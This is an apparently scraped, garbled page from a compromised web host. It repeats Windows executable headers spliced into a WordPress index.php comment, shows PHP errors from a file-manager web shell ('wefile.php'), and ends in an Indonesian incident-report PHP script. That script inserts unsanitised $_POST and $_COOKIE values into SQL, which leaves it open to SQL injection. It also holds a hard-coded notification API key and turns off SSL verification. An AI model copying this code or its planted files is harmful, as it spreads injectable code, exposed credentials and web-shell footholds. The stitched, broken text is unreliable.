MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
/**
* Front to the WordPress application. This file doesn't do anything, but loads
MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
/**
* Front to the WordPress application. This file doesn't do anything, but loads
Warning: Undefined variable $authorization in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 36
Deprecated: json_decode(): Passing null to parameter #1 ($json) of type string is deprecated in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 36
Warning: Undefined variable $translation in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 97
Deprecated: json_decode(): Passing null to parameter #1 ($json) of type string is deprecated in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 97
Warning: Trying to access array offset on value of type null in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 98
Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ja.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 99
MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
/**
* Front to the WordPress application. This file doesn't do anything, but loads
MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
/**
* Front to the WordPress application. This file doesn't do anything, but loads
="1" || $no<="9"){
$code=sprintf("%04s", $no);
}
elseif($no>="10" || $no<="99")
{
$code=sprintf("%03s", $no);
}
elseif($no>="100" || $no<="999")
{
$code=sprintf("%02s", $no);
}
elseif($no>="1000" || $no<="9999")
{
$code=sprintf("%01s", $no);
}
elseif($no>="10000" || $no<="99999")
{
$code=sprintf("%0s", $no);
}
else
{
$code=sprintf("%04s", $no);
}
function Romawi($n){
$hasil = "";
$iromawi =
array("","I","II","III","IV","V","VI","VII","VIII","IX","X",
10=>"X",20=>"XX",30=>"XXX",40=>"XL",50=>"L",60=>"LX",70=>"LXX",80=>"LXXX",
90=>"XC",100=>"C",200=>"CC",300=>"CCC",400=>"CD",500=>"D",
600=>"DC",700=>"DCC",800=>"DCCC",900=>"CM",1000=>"M",
2000=>"MM",3000=>"MMM");
if(array_key_exists($n,$iromawi)){
$hasil = $iromawi[$n];
}elseif($n >= 11 && $n <= 99){
$i = $n % 10;
$hasil = $iromawi[$n-$i] . Romawi($n % 10);
}elseif($n >= 101 && $n <= 999){
$i = $n % 100;
$hasil = $iromawi[$n-$i] . Romawi($n % 100);
}else{
$i = $n % 1000;
$hasil = $iromawi[$n-$i] . Romawi($n % 1000);
}
return $hasil;
}
$bln=Romawi($bln);
$noinsiden = "$code/INC-PST/$_POST[site]/$bln-$thn";
$now = strtotime(date("$_POST[tglkejadian]"));
$hari = date('D', strtotime("+0 Minutes", $now));
switch($hari){
case 'Sun':
$getHari = "Minggu";
break;
case 'Mon':
$getHari = "Senin";
break;
case 'Tue':
$getHari = "Selasa";
break;
case 'Wed':
$getHari = "Rabu";
break;
case 'Thu':
$getHari = "Kamis";
break;
case 'Fri':
$getHari = "Jumat";
break;
case 'Sat':
$getHari = "Sabtu";
break;
default:
$getHari = "Salah";
break;
}
$jamm = substr($_POST[jam],0,2);
$queryy = mysql_query("INSERT INTO insiden (jamm,ttddept,cuaca,jam,hari,apa,tgldilaporkan,tglkejadian,siapa,dimana,kapan,ket,jenis,tipe,dept,distri1,distri2,distri3,distri4,userinput,no,nomor,site,gambar1,gambar2,gambar3,gambar4,ttduser,ttdgambar) VALUES
('$jamm','','$_POST[cuaca]', '$_POST[jam]', '$getHari', '$_POST[apa]', '$_POST[tgldilaporkan]', '$_POST[tglkejadian]', '$_POST[siapa]', '$_POST[dimana]', '$_POST[kapan]', '$_POST[ket]', '$_POST[jenis]', '$_POST[tipe]', '$_POST[dept]', '$_POST[distri1]', '$_POST[distri2]', '$_POST[distri3]', '$_POST[distri4]', '$_COOKIE[ids]', '$code', '$noinsiden', '$_POST[site]', '', '', '', '', '', '')");
function sendMessage(){
$content = array(
"en" => "Terjadi Insiden tanggal $_POST[tglkejadian] yang disebabkan $_POST[apa]"
);
$heading = array(
"en" => "Data Insiden Disimpan $noinsiden"
);
$fields = array(
'app_id' => "ba32fa6a-e997-408d-8b59-a92d5b956c22",
'included_segments' => array('All'),
'data' => array("foo" => "bar"),
'small_icon' =>"https://putrasarana.com/she/logo.png",
'large_icon' =>"https://putrasarana.com/she/logo.png",
'url' => "https://putrasarana.com/she",
'headings' => $heading,
'priority' => '1',
'contents' => $content
);
$fields = json_encode($fields);
//print("\nJSON sent:\n");
//print($fields);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://onesignal.com/api/v1/notifications");
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json; charset=utf-8',
"Authorization: Basic MDFkNmUxOWItYzM2OC00ODhmLTliYmUtZGRjMTM2ZmRhYjE0"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_POST, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
$response = sendMessage();
$return["allresponses"] = $response;
$return = json_encode( $return);
?>
| NO | TANGGAL | NOMOR | SITE | TIPE | FOTO | JENIS | KRONOLOGIS | DISTRIBUSI | PILIHAN |
|---|---|---|---|---|---|---|---|---|---|
"> "> |
" aria-expanded="true" aria-controls="menu"> Pilihan |